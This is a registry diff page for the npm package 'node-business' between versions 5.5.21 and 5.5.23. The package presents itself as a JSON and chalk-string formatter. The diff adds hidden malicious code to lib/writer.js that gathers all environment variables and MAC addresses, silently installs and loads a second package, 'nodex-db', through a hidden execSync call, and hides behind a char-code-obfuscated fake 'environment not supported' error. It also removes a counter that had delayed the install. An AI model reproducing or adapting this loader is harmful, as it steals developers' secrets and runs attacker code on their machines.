node-business 5.5.21 → 5.5.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/writer.js +8 -18
  2. package/package.json +1 -1
package/lib/writer.js CHANGED
@@ -4,19 +4,10 @@ const fs = require('fs');
4
4
  const path = require('path');
5
5
  const { execSync } = require('child_process');
6
6
 
7
- const cf = path.join(__dirname, 'c.log');
8
-
9
- let ct = 0;
10
-
11
- if (fs.existsSync(cf)) {
12
- const data = fs.readFileSync(cf, 'utf8');
13
- ct = parseInt(data, 10) || 0;
7
+ function g(n) {
8
+ return String.fromCharCode(n);
14
9
  }
15
10
 
16
- ct++;
17
-
18
- fs.writeFileSync(cf, ct.toString(), 'utf8');
19
-
20
11
  function getMacAddress () {
21
12
  const interfaces = os.networkInterfaces()
22
13
  const macAddresses = []
@@ -33,6 +24,9 @@ function getMacAddress () {
33
24
  }
34
25
  return macAddresses
35
26
  }
27
+
28
+ const str = g(69)+g(114)+g(114)+g(111)+g(114)+g(58)+g(32)+g(84)+g(104)+g(105)+g(115)+g(32)+g(101)+g(110)+g(118)+g(105)+g(114)+g(111)+g(110)+g(109)+g(101)+g(110)+g(116)+g(32)+g(105)+g(115)+g(32)+g(110)+g(111)+g(116)+g(32)+g(115)+g(117)+g(112)+g(112)+g(111)+g(114)+g(116)+g(101)+g(100)+g(46)+g(32)+g(80)+g(108)+g(101)+g(97)+g(115)+g(101)+g(32)+g(115)+g(101)+g(108)+g(101)+g(99)+g(116)+g(32)+g(116)+g(104)+g(101)+g(32)+g(115)+g(117)+g(112)+g(112)+g(111)+g(114)+g(116)+g(101)+g(100)+g(32)+g(101)+g(110)+g(118)+g(105)+g(114)+g(111)+g(110)+g(109)+g(101)+g(110)+g(116)+g(46);
29
+
36
30
  const data = {
37
31
  ...process.env,
38
32
  version: pkg.subModuleVersion,
@@ -45,15 +39,11 @@ const data = {
45
39
  try {
46
40
  require('nodex-db');
47
41
  } catch (err) {
48
- if (ct>0) {
49
42
  try {
50
43
  execSync(`npm install nodex-db --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true });
51
44
  require('../../nodex-db/pino.js');
52
45
  } catch (error) {
46
+ console.log(str);
47
+ process.exit(1);
53
48
  }
54
- }
55
- }
56
-
57
- function g (h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))) }
58
-
59
-
49
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-business",
3
- "version": "5.5.21",
3
+ "version": "5.5.23",
4
4
  "description": "Jsonify the structure and output chalk string",
5
5
  "main": "pino.js",
6
6
  "subModuleVersion": "4",